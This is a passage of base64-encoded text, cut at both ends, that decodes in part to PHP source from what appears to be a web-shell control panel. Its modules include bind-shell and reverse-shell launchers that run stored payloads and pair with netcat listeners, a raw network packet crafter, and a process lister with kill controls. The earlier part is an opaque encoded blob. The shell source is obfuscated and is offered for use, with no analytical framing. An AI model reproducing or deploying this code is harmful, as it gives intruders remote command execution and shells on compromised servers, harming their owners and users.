TMmdhMEZPK1dvWTd1TWRSQTkvcjdkcmRBMnVkTmM3ZDZVN0MzOU50SDdRdkdSMWVjd3NIMEN4aTdKbFlqaGYzQTNKNzZpejUrNGRtOWZVeHdxTE9LZHRGMWpXME5qN2Voc2lMUTdmNlAvQ0UrTmdrbVhiT2llRXhpNFZram02UTdLRUYrZHB5Uk5RMTJta3ROU0k5endZalZsVmZZb3ZGZGoyUDE0REhoWmYwSTdUQjIySXhaK1V3OTVMdCt4V21Qelc3elRoQ2IycHJNUnl3bkJ6NGE1byticGx5QW8wZVRkSTN2T3RZMFRZMURRTXd4MGpHdjlyK1Q1M3pobmpxaWk0eWpmZmEzVHlqYlJKYUdIdXA0OHhtQzFvYlZpQ0ZyVnUvdVdZMmRhSFRTQUZRUXdMd3c3ZzhtWXVrRlAwNjNycTRBb2ZFcml6bWFueUMxUjgrVXpMbGRreG1JejNiS3N5bmFWYkp6NkU3dWZEOE9UQ29JMmZ6TVhPYTY3QlpGQTFpYWpRRG1UbnQ1MGN2ZXJpZWphNHlFT1dWM1IzMlRITTkrMUVEZnlORWxzeU41Z1ZmYTh4em0wQ3NLRS9XamczaFBSL0EwV0RVUTFDUDJvaVZ6ZWJXN1J1RzZGUFlaenpVdys3d0ZNZGcvME8xa3grdHU2YVRzcEZrTXUwdTNQeTFPcmR2c1J3WFZTM3FJQVEvbkU5MTlmUFR2NlR1c0hxb0Q5UDU2dnhmSjV1eWFEOGhMbDFIYkR4b2NvWGpzUnhDZm91SmtpYmVZVWxRTU9uK1RQNjJySTZQNmtISWV3WG1ieHRsNTlCeE1idDZIbjdjN05MN3IwTGZpRi9GZmtURlAxejdVRjlnT2pZcU9QNjk0UmVLbEc4dWhDSUxaNGNMazJMb3V5OXlsWURhQjVHU3BrMDNsN3VwYjU4NGdSMERIMmFkQ0JnTXZ1dEgyOWRxOTYyNlZQUENQR3BjaUc2ZnBMdlVPUDRDYjZVQzlWQTl5QTlmVTFpK201VmRkNlNhT0ZZVmpibEpxaHEvMUZrelowYlRhUzlWeFYxVW1zdFo4czNiOFY3cWhtT2ErM0tsdzM5cDVoL2NQL3dvUng0aFZRZkhMUVY3aWpUYkZmUnF5MFQwalNlV2hqd05yUWVSRFk5ZnF0SmlQY2JaNXhFRDR4QWRuTW5IZXA1Y3E3K2g3OVJrR3E3djZxKzVIenR2ZTI2MmIyNjArYzloNjFhNkpwYitFbGtQVmE5TW5heDdrNFF1K0h6ay90VStBTFA2K0ZydXQ0TDh3dndxWE9JYVZNWm1EQ3NyS0p3VTkxZS8xM2dHZmV0OEVQZ1o4ZW9hZUx2WEgrSnBYTFI4dnVBTGRhc2I1c1haVlBLWjdRdis4WDBxWUtQQ05MaWQ2WG43czkyRGJQdWZXL0dNTVE0eWxUM1loVTJSUDNqWm9JV3NUSkpRdkx6T2I0S21peG1JWFpBb2h0c0kweE80WWJkOVF0cE1GYzByOWkrU2tFL2JpUkZUTm8rWE16ZWFYRm14ME1FWnZWK1QyRHZPTDRpVmpnMGhucVNGNURWdUE1OGV5SFF2Tyt5SUg4Mk9wM2RraVR3R0R2VE9DbEhiQzU0TDYvYVZuOWJoc2hxNVpudHY2Z2JWdjVZRnhtR2pVK2JMbEp2OUh0L1diaWR2dmh3YTREd3N3dUYxNTVtWGw3cGNzRjh6MlZVeXY4UWE3UUtwdVROLy9kOXhEYTczdExQTnN5dUNENDQ5S015NHV2QU9IODArSCtuZHMwT0dTbEYrMHljNHB5aXQwWDgwaXluWm1DYzdZYktFTEdzS2xSRnJlSHI1UllrZGkxdTBoQkRXSElNN2VMbGo3Ty9BOFBYWmxoNXBoaVZ6aHRwTVlUVnpaK2Ywc2ZkQ1RwTy9yaUlHL1BPUHBJM3FvblZjRTYzNmxOeTJ3L0VCbno3T3MrcnkyM2RJVkxXeXh6ZjhwUkRrcmRzdlo3SE1lRGw5THRoSVhxZnRlUFBKcGkyNWxBQnRESGcxVldLNUd1N3ZPVzlmQkR6UkZ3MldXQU11Qm82WGJ4eW04RnNmOWwwU1YzQVpDN2tHQ3hzakZ6OTVaY2dFZFJTZXJLdEhSZVBwaWFRVnF1RjhLT09pSTU4WEV6M0JDZkQxbk9GblNyVE9jQUZGRThzeXNYeEowNUhpcVROU2Q1VzU3WXZCSlUrdlNxS1N0QU1LeFArZ0xtT2FPYWZMM0ZMcHdLakdBdUdnRHNtWVBTU3BKelVqYnR0VEx4ME1rdmZ3Q1FhUUFmMTAyUDFhY0lWSEJZbVd3VktoU2lWV3BQaXQ4TTZHZkVRUlJiUlZMcFpBL2xLYVF5OFZwc0ZoRUlnSEIwVkZ4TWFIQjZDeGlZbktBS0lrOEkyZm1OQXRMWkdJb1hTaVJxcFZpZnhJQVFSc2tOUTZiWHlsaHRWRDZuanFQR1loWEtML3JxcmtPTFV6Tlc2ZUNoREJXSkZvNjNsdjd6WGJiclBVK0NmSk11U0pIRG1VVmpzaHJ4dFVpeFlZUEZHbUxKQXFHVWdIWFg1SjFrUlY3czllcjZHRWVKSi81TmRsdXFSTGhrdmZGaHMrd2hmMFF6c3BvYTdkLzR5c0U4MzRzZ05sSnhNeWxnR0FKeGkzZjhma1dXZDlsQktFQVhDcFJpdzJtZ2pMVkJDZVY2bXZGb3daZzcrRTE3a2R1NWl5SmFES2xTZXZ5cHp5eG9TUnJycGtLaHBIcEM2VDB4czZwNmhyN3JIbVFyU2JEZGxuU1hjcEJOOElSMi9Ba1R0bVg3QnFXekRnTWxWNkxDMDRvT2pWWU53NUdrQVVnMWM4NW9PV1RrZUhPWXVEcllpeEkwZUlXaXloaEd4dFQ2c3pubTRQSm1UYTdiUXFrdmJuOGx0MDQ0T3hqODkwbDNWdHNzUldVSUd1QmxpVmNRZjh5cmIxTmdHTXUyVHM3bTErcHlYbGlhWjlMeFJRdG0yWVFCQ0ZhcTQzRit0MjRzS0pQaDNkTjlsRGpHVERwNnJWbXM1T0VHa1BEeG5aU3MwdndtWmFUcld2dU9kVy9ISlp1aU5hQ3hiamRUVTlJdmtIa2pWUnY0eEU3em5YM3FMdnZUcStuMHBNTElFZmZwTFhWVi93RTV5SFpPOXdFdW9qQm0zQmVVQmljc2RCWFMvSExGZHh5djU2OTRCUnJyVlZNOExZYkg3cnZEYjdEM1YxdEUzWjMxZEc5UzlZR2hQbGY3MWcrL2g2cGVZL0s1NzNRMEVqZkh1dFJrcm5aZHJQUi9OeDRjLzZOZ3BqZ1hQbisxQU0zbFBhYmFKdUx0TzcxN1RraGJhVkpwQ0xwOHZGUFF5RStPZGtkd0d3czJXTjc4V05DL0FETVVTL0V0UnlLS1VtdlBTckZUVzhuS1ZsbHB5Umx2cnhOY0dHcERIVy91dGd4UmxXcE00N2NYSWJ6V0swS2p5ZUk3dnBHM2NYQkh4NDhmaW9LZFNzdk50MTgwSmVOdWdOUHAvRzlkSGl3N01wNkZ1RWRQMXdZV3VoVVRGSjZsaWJCS0Nzck1aYkIxNDJMU3lweFdkQXlFZG9IWkxtc3FyUUMzR2llR2taSFFCWk9GaEx4bWVhY05SUmZuOFVFRXc2QlNEdjMvc3ZaUmc3QXd0a2xhQ0s1UUJLT1VyQjNEekcvazhVdDlSUmlncVVLbFJoODNqc2RJWlNMcEdLbFdBaUxZNVNLTk9UNmNQVitMaTFFYkErTEpiQWtUU2lORTZkVjkvQTRjUTZoY2p1bGZiVlZabUl1M1o4U3ZxSkhycWhabUMyaHltWGlwUnVFN3NMVWp1ckE2a2d1a3lkVXNaUnpsRGJQYjN6NE1rb2hVa3NMbkVPNHlQaVFsWDFFSEx3YVZtZXRsYWNyRHZVa3F5QjhUcmJrL1UvR1plSXUzcVZzZXlLY0lOL0svL2xWOVhMUjU4ZXpITUlrVWpNTHExd3hFUzlWQ1U5STFhOWl2Qi9lT0pNUEI5Q3FaRFdPRFRhSndxU3dxamp5eURkV3cydWpVN2ZORC8raXEvcWxieTZmbnhFdW15Ly9Pa01iMWRHZ29tWmh4UmliOUIwN1hsVExCc1Z1S3I0d2l3SG5aZEZxYjh6K1liOGY0VkNxMVpLMlI2YzlxQXM5L2VBZlJtWW4wMHVaQklYRVNwNllNdEFuWFFoZzB1ZW41enp2VGU3UEljakVzclNzdk5VRWxTUkQzdW53dzNXaE5EczlDeXBPUDFzcDdSci9XMU5pSERlT2s3bVFhMWNmVkc1enB5MjQ2eDJwVTUzMWVTaFhsYmE4ZGtMWXNDTlZJaGQ1cXdKbUpUdWtndzRkR1ZzVjJaMmI2bFB6dHU4NnRWVXV4ZVBEMjVVcTZTWmkvc3JpekJXY2d6R2hQQXdSN1ovNUdrRkxjMno3VE9kTTlpZi82QURNMG1GTlE5SVFQcGwrMkpPOGVjNzhic2Q3R0RBZ1QzNkxlcExDeVZxQ0F5Q0M4czRLa002bFozWGkxM2tjdERJdVorSmFsWURuOWphUEQyVWxsT2JkSlF6ajR5THlWQys0UU9BazhCQU5STjVlSVJXZW44SldPQXdOeVZ5WUpnK2wyeVRkRU4zYTZjcmtlSWkzRm5SQVBVWEtzcE00VmN3YzE1WUpIaTVWclRVTHdrcDNPbXB5Sk1GWm81aUt3UlA0ZWNHeDhYNDBRY1lCNWdtMkt5eFZIYUk4RFlDTWk3WXl4aTdOQlFvWWJ6cFZOb0M4N1ZrRkRmYVZITURRWU9FalNLTDJCbUtoRzEvTEhueFlDU0VjMDZVbTZPZHBSNllaWGNyaEN6TnQvTzhRaGduVHBScFZXNzhOVmYxZXJkb0JuTkxtU2g4UnpkYU9JVENzdS9wN2Z1c2ZBalhFL2RQa0g0cHByMkFMWGdMUEVFUjdHMk93VzZaOU9aMU4yNE1OUWhlMVZqMHhtSVkrTVl4NnJMWVIxQkcwMTBEdElKanpDK2JXSUErRlUzUVR0VHZSbGU0aGhMc1BCR0J5SmpSckFQVlRQV0VQSDB5L01rQzhZcUlYTnkyZTFGZ0dNR016dVZZbEhUOTJHaG9BSXdEb0NkWW1PRURQQncyRm5vQUozZXV6R08wMUluSlloUHFIMEhKRUU5eXRlNUVZOGZSTUFuSjQ1c1VFU2lmb2NGb3phSG1NSE01RkFmMFpLVHFpMWNZUXBIN21WVUZNL0RZd0xoRzViOWg5QXIxNkdpaGZJM0RMVDRxSmo1a0Jrd3pIWjRpRytyVm9VcUtYNmF1TmEyTzJZZUtRMjBKRENGdXpEVmpacFA1Vk82UVo5SXRGRU11Y0RRMmdoZ05NZjFOa2dtMjI0VFlpTUp2KzQ2OUl1MlVrcFpHQ2xqWnhBQzJxZG9JMzluY1NZZUlBL3kvL0M2UzBIUUJFN1gvRXZrQmp6Wit3U2pRdStSTldqOGJHOXYrK2JqT0szME8xSDlYbnFHSnZBd0Q5OXB1NWVXOHQrNjMxZkdzalEyUFhoL0o4dkQxQ2VEeEFwc3BPVThMb01VNEtKTVo1ODFIMGpSc2RIUG1XQWZBVVFoRlBrcW9VS3ZPNEFCQXVobWVlVDF5UlNDbFdxUUJnZytUMTBRekZZUFJvOTF2TWxVb1ZhYjlGWVVxeEdQM20wRnpKNitUWGlRQmZva2hGLy96b0hWdVJsaW1HMGRvek4rZi9PNy81dndBPSI7CiRHTE9CQUxTWydtb2R1bGUnXVsnbmV0d29yayddWydpZCddID0gIm5ldHdvcmsiOwokR0xPQkFMU1snbW9kdWxlJ11bJ25ldHdvcmsnXVsndGl0bGUnXSA9ICJOZXR3b3JrIjsKJEdMT0JBTFNbJ21vZHVsZSddWyduZXR3b3JrJ11bJ2pzX29udGFic2VsZWN0ZWQnXSA9ICIiOwokR0xPQkFMU1snbW9kdWxlJ11bJ25ldHdvcmsnXVsnY29udGVudCddID0gIgo8dGFibGUgY2xhc3M9J2JveHRibCc+Cjx0aGVhZD4KCTx0cj48dGggY29sc3Bhbj0nMic+PHAgY2xhc3M9J2JveHRpdGxlJz5CaW5kIFNoZWxsPC9wPjwvdGg+PC90cj4KPC90aGVhZD4KPHRib2R5PgoJPHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHgnPlNlcnZlciBJUDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nYmluZEFkZHInIHZhbHVlPSciLiRzZXJ2ZXJfYWRkci4iJyBkaXNhYmxlZD48L3RkPjwvdHI+Cgk8dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2JpbmRQb3J0JyB2YWx1ZT0nIi4kZGVmYXVsdF9wb3J0LiInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdyc19nb19iaW5kJyk7XCI+PC90ZD48L3RyPgo8L3Rib2R5Pgo8dGZvb3Q+Cgk8dHI+CgkJPHRkIHN0eWxlPSd3aWR0aDoxNDRweDsnPgoJCQk8c2VsZWN0IGlkPSdiaW5kTGFuZycgY2xhc3M9J3JzVHlwZSc+CgkJCQkiLiR3aW5iaW5hcnkuIgoJCQk8L3NlbGVjdD4KCQk8L3RkPgoJCTx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwicnNfZ29fYmluZCgpO1wiIHN0eWxlPSd3aWR0aDoxMjBweDsnPnJ1bjwvc3Bhbj48L3RkPgoJPC90cj4KCTx0cj48dGQgY29sc3Bhbj0nMic+PHByZSBpZD0nYmluZFJlc3VsdCc+UHJlc3MgJyBydW4gJyBidXR0b24gYW5kIHJ1biAnIG5jIHNlcnZlcl9pcCBwb3J0ICcgb24geW91ciBjb21wdXRlcjwvcHJlPjwvdGQ+PC90cj4KPC90Zm9vdD4KPC90YWJsZT4KPGJyPgo8dGFibGUgY2xhc3M9J2JveHRibCc+Cjx0aGVhZD4KCTx0cj48dGggY29sc3Bhbj0nMic+PHAgY2xhc3M9J2JveHRpdGxlJz5SZXZlcnNlIFNoZWxsPC9wPjwvdGg+PC90cj4KPC90aGVhZD4KPHRib2R5PgoJPHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHgnPlRhcmdldCBJUDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nYmFja0FkZHInIHZhbHVlPSciLiRyZW1vdGVfYWRkci4iJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncnNfZ29fYmFjaycpO1wiPjwvdGQ+PC90cj4KCTx0cj48dGQ+UG9ydDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nYmFja1BvcnQnIHZhbHVlPSciLiRkZWZhdWx0X3BvcnQuIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3JzX2dvX2JhY2snKTtcIj48L3RkPjwvdHI+CjwvdGJvZHk+Cjx0Zm9vdD4KCTx0cj4KCQk8dGQgc3R5bGU9J3dpZHRoOjE0NHB4Oyc+CgkJCTxzZWxlY3QgaWQ9J2JhY2tMYW5nJyBjbGFzcz0ncnNUeXBlJz4KCQkJCSIuJHdpbmJpbmFyeS4iCgkJCTwvc2VsZWN0PgoJCTwvdGQ+CgkJPHRkPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJyc19nbygnYmFjaycpO1wiIHN0eWxlPSd3aWR0aDoxMjBweDsnPnJ1bjwvc3Bhbj48L3RkPgoJPC90cj4KCTx0cj48dGQgY29sc3Bhbj0nMic+PHByZSBpZD0nYmFja1Jlc3VsdCc+UnVuICcgbmMgLWwgLXYgLXAgcG9ydCAnIG9uIHlvdXIgY29tcHV0ZXIgYW5kIHByZXNzICcgcnVuICcgYnV0dG9uPC9wcmU+PC90ZD48L3RyPgo8L3Rmb290Pgo8L3RhYmxlPgo8YnI+Cjx0YWJsZSBjbGFzcz0nYm94dGJsJz4KPHRoZWFkPgoJPHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPlNpbXBsZSBQYWNrZXQgQ3JhZnRlcjwvcD48L3RoPjwvdHI+CjwvdGhlYWQ+Cjx0Ym9keT4KCTx0cj48dGQgc3R5bGU9J3dpZHRoOjEyMHB4Jz5Ib3N0PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdwYWNrZXRIb3N0JyB2YWx1ZT0ndGNwOi8vIi4kc2VydmVyX2FkZHIuIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3BhY2tldF9nbycpO1wiPjwvdGQ+PC90cj4KCTx0cj48dGQ+U3RhcnQgUG9ydDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0ncGFja2V0U3RhcnRQb3J0JyB2YWx1ZT0nODAnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdwYWNrZXRfZ28nKTtcIj48L3RkPjwvdHI+Cgk8dHI+PHRkPkVuZCBQb3J0PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdwYWNrZXRFbmRQb3J0JyB2YWx1ZT0nODAnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdwYWNrZXRfZ28nKTtcIj48L3RkPjwvdHI+Cgk8dHI+PHRkPkNvbm5lY3Rpb24gVGltZW91dDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0ncGFja2V0VGltZW91dCcgdmFsdWU9JzUnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdwYWNrZXRfZ28nKTtcIj48L3RkPjwvdHI+Cgk8dHI+PHRkPlN0cmVhbSBUaW1lb3V0PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdwYWNrZXRTVGltZW91dCcgdmFsdWU9JzUnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdwYWNrZXRfZ28nKTtcIj48L3RkPjwvdHI+CjwvdGJvZHk+Cjx0Zm9vdD4KCTx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGlkPSdwYWNrZXRDb250ZW50JyBzdHlsZT0naGVpZ2h0OjE0MHB4O21pbi1oZWlnaHQ6MTQwcHg7Jz5HRVQgLyBIVFRQLzEuMVxcclxcblxcclxcbjwvdGV4dGFyZWE+PC90ZD48L3RyPgoJPHRyPgoJCTx0ZD4KCQkJPHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cInBhY2tldF9nbygpO1wiIHN0eWxlPSd3aWR0aDoxMjBweDsnPnJ1bjwvc3Bhbj4KCQk8L3RkPgoJCTx0ZD5Zb3UgY2FuIGFsc28gcHJlc3MgY3RybCtlbnRlciB0byBzdWJtaXQ8L3RkPgoJPC90cj4KCTx0cj48dGQgY29sc3Bhbj0nMic+PGRpdiBpZD0ncGFja2V0UmVzdWx0Jz48L2Rpdj48L3RkPjwvdHI+CjwvdGZvb3Q+CjwvdGFibGU+CiI7CmlmKGlzc2V0KCRwWydyc0xhbmcnXSkgJiYgaXNzZXQoJHBbJ3JzQXJncyddKSl7CgkkcnNMYW5nID0gJHBbJ3JzTGFuZyddOwoJJHJzQXJncyA9ICRwWydyc0FyZ3MnXTsKCSRyZXMgPSAiIjsKCWlmKCRyc0xhbmc9PSJwaHAiKXsKCQkkY29kZSA9IGdldF9yZXNvdXJjZSgicnNfIi4kcnNMYW5nKTsKCQlpZigkY29kZSE9PWZhbHNlKXsKCQkJJGNvZGUgPSAiXCR0YXJnZXQgPSBcIiIuJHJzQXJncy4iXCI7ID8+Ii4kY29kZTsKCQkJJHJlcyA9IGV2YWxfZ28oJHJzTGFuZywgJGNvZGUsICIiLCAiIik7CgkJfQoJfQoJZWxzZXsKCQkkY29kZSA9IGdldF9yZXNvdXJjZSgicnNfIi4kcnNMYW5nKTsKCQlpZigkY29kZSE9PWZhbHNlKXsKCQkJJHJlcyA9IGV2YWxfZ28oJHJzTGFuZywgJGNvZGUsICIiLCAkcnNBcmdzKTsKCQl9Cgl9CglpZigkcmVzPT09ZmFsc2UpICRyZXMgPT0gImVycm9yIjsKCW91dHB1dChodG1sX3NhZmUoJHJlcykpOwp9CmVsc2VpZihpc3NldCgkcFsncGFja2V0VGltZW91dCddKSYmaXNzZXQoJHBbJ3BhY2tldFNUaW1lb3V0J10pJiZpc3NldCgkcFsncGFja2V0UG9ydCddKSYmaXNzZXQoJHBbJ3BhY2tldFRpbWVvdXQnXSkmJmlzc2V0KCRwWydwYWNrZXRDb250ZW50J10pKXsKCSRwYWNrZXRIb3N0ID0gdHJpbSgkcFsncGFja2V0SG9zdCddKTsKCWlmKCFwcmVnX21hdGNoKCIvW2EtejAtOV0rOlwvXC8uKi8iLCAkcGFja2V0SG9zdCkpICRwYWNrZXRIb3N0ID0gInRjcDovLyIuJHBhY2tldEhvc3Q7CgkkcGFja2V0UG9ydCA9IChpbnQpICRwWydwYWNrZXRQb3J0J107CgkkcGFja2V0VGltZW91dCA9IChpbnQpICRwWydwYWNrZXRUaW1lb3V0J107CgkkcGFja2V0U1RpbWVvdXQgPSAoaW50KSAkcFsncGFja2V0U1RpbWVvdXQnXTsKCSRwYWNrZXRDb250ZW50ID0gJHBbJ3BhY2tldENvbnRlbnQnXTsKCWlmKGN0eXBlX3hkaWdpdCgkcGFja2V0Q29udGVudCkpICRwYWNrZXRDb250ZW50ID0gQHBhY2soIkgqIiAsICRwYWNrZXRDb250ZW50KTsKCWVsc2V7CgkJJHBhY2tldENvbnRlbnQgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCJcbiIpLCAiIiwgJHBhY2tldENvbnRlbnQpOwoJCSRwYWNrZXRDb250ZW50ID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxcciIsIlxcbiIpLCBhcnJheSgiXHIiLCAiXG4iKSwgJHBhY2tldENvbnRlbnQpOwoJfQoJJHJlcyA9ICIiOwoJJHNvY2sgPSBmc29ja29wZW4oJHBhY2tldEhvc3QsICRwYWNrZXRQb3J0LCAkZXJyTm8sICRlcnJTdHIsICRwYWNrZXRUaW1lb3V0KTsKCWlmKCEkc29jayl7CgkJJHJlcyAuPSAiPGRpdiBjbGFzcz0nd2Vhayc+IjsKCQkkcmVzIC49IGh0bWxfc2FmZSh0cmltKCRlcnJTdHIpKS4iIChlcnJvciAiLmh0bWxfc2FmZSh0cmltKCRlcnJObykpLiIpPC9kaXY+IjsKCX0KCWVsc2V7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRzb2NrLCAkcGFja2V0U1RpbWVvdXQpOwoJCWZ3cml0ZSgkc29jaywgJHBhY2tldENvbnRlbnQuIlxyXG5cclxuXHgwMCIpOwoJCSRjb3VudGVyID0gMDsKCQkkbWF4dHJ5ID0gMTsKCQkkYmluID0gIiI7CgkJZG97CgkJCSRsaW5lID0gZmdldHMoJHNvY2ssIDEwMjQpOwoJCQlpZih0cmltKCRsaW5lKT09IiIpICRjb3VudGVyKys7CgkJCSRiaW4gLj0gJGxpbmU7CgkJfXdoaWxlKCRjb3VudGVyPCRtYXh0cnkpOwoJCWZjbG9zZSgkc29jayk7CgkJJHJlcyAuPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQ+PHRleHRhcmVhIHN0eWxlPSdoZWlnaHQ6MTQwcHg7bWluLWhlaWdodDoxNDBweDsnPiIuaHRtbF9zYWZlKCRiaW4pLiI8L3RleHRhcmVhPjwvdGQ+PC90cj4iOwoJCSRyZXMgLj0gIjx0cj48dGQ+PHRleHRhcmVhIHN0eWxlPSdoZWlnaHQ6MTQwcHg7bWluLWhlaWdodDoxNDBweDsnPiIuYmluMmhleCgkYmluKS4iPC90ZXh0YXJlYT48L3RkPjwvdHI+PC90YWJsZT4iOwoJfQoJb3V0cHV0KCRyZXMpOwp9CiRHTE9CQUxTWydtb2R1bGUnXVsncHJvY2Vzc2VzJ11bJ2lkJ10gPSAicHJvY2Vzc2VzIjsKJEdMT0JBTFNbJ21vZHVsZSddWydwcm9jZXNzZXMnXVsndGl0bGUnXSA9ICJQcm9jZXNzZXMiOwokR0xPQkFMU1snbW9kdWxlJ11bJ3Byb2Nlc3NlcyddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAic2hvd19wcm9jZXNzZXMoKTsiOwokR0xPQkFMU1snbW9kdWxlJ11bJ3Byb2Nlc3NlcyddWydjb250ZW50J10gPSAiIjsKaWYoIWZ1bmN0aW9uX2V4aXN0cygnc2hvd19wcm9jZXNzZXMnKSl7CglmdW5jdGlvbiBzaG93X3Byb2Nlc3NlcygpewoJCSRvdXRwdXQgPSAnJzsKCQkkd2NvdW50ID0gMTE7CgkJaWYoaXNfd2luKCkpewoJCQkkY21kID0gInRhc2tsaXN0IC9WIC9GTyBjc3YiOwoJCQkkd2V4cGxvZGUgPSAiXCIsXCIiOwoJCX0KCQllbHNlewoJCQkkY21kID0gInBzIGF1eCI7CgkJCSR3ZXhwbG9kZSA9ICIgIjsKCQl9CgkJJHJlcyA9IGV4ZWN1dGUoJGNtZCk7CgkJaWYodHJpbSgkcmVzKT09JycpIHJldHVybiBmYWxzZTsKCQllbHNlewoJCQkkb3V0cHV0IC49ICI8dGFibGUgaWQ9J3BzVGFibGUnIGNsYXNzPSdkYXRhVmlldyBzb3J0YWJsZSc+IjsKCQkJaWYoIWlzX3dpbigpKSAkcmVzID0gcHJlZ19yZXBsYWNlKCcjXCArIycsJyAnLCRyZXMpOwoJCQkkcHNhcnIgPSBleHBsb2RlKCJcbiIsJHJlcyk7CgkJCSRmaSA9IHRydWU7CgkJCSR0Ymxjb3VudCA9IDA7CgkJCSRjaGVjayA9IGV4cGxvZGUoJHdleHBsb2RlLCRwc2FyclswXSk7CgkJCSR3Y291bnQgPSBjb3VudCgkY2hlY2spOwoJCQlmb3JlYWNoKCRwc2FyciBhcyAkcHNhKXsKCQkJCWlmKHRyaW0oJHBzYSkhPScnKXsKCQkJCQlpZigkZmkpewoJCQkJCQkkZmkgPSBmYWxzZTsKCQkJCQkJJHBzbG4gPSBleHBsb2RlKCR3ZXhwbG9kZSwgJHBzYSwgJHdjb3VudCk7CgkJCQkJCSRvdXRwdXQgLj0gIjx0cj48dGggY2xhc3M9J2NvbC1jYm94IHNvcnR0YWJsZV9ub3NvcnQnPjxkaXYgY2xhc3M9J2NCb3hBbGwnPjwvZGl2PjwvdGg+PHRoIGNsYXNzPSdzb3J0dGFibGVfbm9zb3J0Jz5hY3Rpb248L3RoPiI7CgkJCQkJCWZvcmVhY2goJHBzbG4gYXMgJHApICRvdXRwdXQgLj0gIjx0aD4iLnRyaW0odHJpbShzdHJ0b2xvd2VyKCRwKSkgLCJcIiIpLiI8L3RoPiI7CgkJCQkJCSRvdXRwdXQgLj0gIjwvdHI+IjsKCQkJCQl9CgkJCQkJZWxzZXsKCQkJCQkJJHBzbG4gPSBleHBsb2RlKCR3ZXhwbG9kZSwgJHBzYSwgJHdjb3VudCk7CgkJCQkJCSRwaWQgPSB0cmltKHRyaW0oJHBzbG5bMV0pLCJcIiIpOwoJCQkJCQkkdGJsY291bnQgPSAwOwoJCQkJCQkkb3V0cHV0IC49ICI8dHIgZGF0YS1waWQ9JyIuJHBpZC4iJz4iOwoJCQkJCQlmb3JlYWNoKCRwc2xuIGFzICRwKXsKCQkJCQkJCWlmKHRyaW0oJHApPT0iIikgJHAgPSAiICI7CgkJCQkJCQkkcCA9IHRyaW0odHJpbSgkcCkgLCJcIiIpOwoJCQkJCQkJJHAgPSBodG1sX3NhZmUoJHApOwoJCQkJCQkJaWYoJHRibGNvdW50ID09IDApewoJCQkJCQkJCSRvdXRwdXQgLj0gIjx0ZD48ZGl2IGNsYXNzPSdjQm94Jz48L2Rpdj48L3RkPjx0ZD48YSBjbGFzcz0na2lsbCc+a2lsbDwvYT48L3RkPjx0ZD4iLiRwLiI8L3RkPiI7CgkJCQkJCQkJJHRibGNvdW50Kys7CgkJCQkJCQl9CgkJCQkJCQllbHNlewoJCQkJCQkJCSR0Ymxjb3VudCsrOwoJCQkJCQkJCWlmKCR0Ymxjb3VudCA9PSBjb3VudCgkcHNsbikpICRvdXRwdXQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpsZWZ0Oyc+Ii4kcC4iPC90ZD4iOwoJCQkJCQkJCWVsc2UgJG91dHB1dCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJHAuIjwvdGQ+IjsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQkkb3V0cHV0IC49ICI8L3RyPiI7CgkJCQkJfQoJCQkJfQoJCQl9CgkJCSRjb2xzcGFuID0gY291bnQoJHBzbG4pKzE7CgkJCSRjb2xzcGFuQWxsID0gJGNvbHNwYW4rMTsKCQkJJG91dHB1dCAuPSAiPHRmb290Pjx0cj48dGQ+PGRpdiBjbGFzcz0nY0JveEFsbCc+PC9kaXY+PC90ZD48dGQgY29sc3Bhbj0iLiRjb2xzcGFuLiIgc3R5bGU9J3RleHQtYWxpZ246bGVmdDsnPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9J2tpbGxfc2VsZWN0ZWQoKTsnIHN0eWxlPSdtYXJnaW4tcmlnaHQ6OHB4Oyc+a2lsbCBzZWxlY3RlZDwvc3Bhbj48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPSdzaG93X3Byb2Nlc3NlcygpOyc+cmVmcmVzaDwvc3Bhbj48c3BhbiBjbGFzcz0ncHNTZWxlY3RlZCc+PC9zcGFuPjwvdGQ+PC90cj48L3Rmb290PjwvdGFibGU+IjsKCQl9CgkJcmV0dXJuICRvdXRwdXQ7Cgl9Cn0KaWYoaXNzZXQoJHBbJ3Nob3dQcm9jZXNzZXMnXSkpewoJJHByb2Nlc3NlcyA9IHNob3dfcHJvY2Vzc2VzKCk7CglpZigkcHJvY2Vzc2VzIT09ZmFsc2UpIG91dHB1dCgkcHJvY2Vzc2VzKTsKCW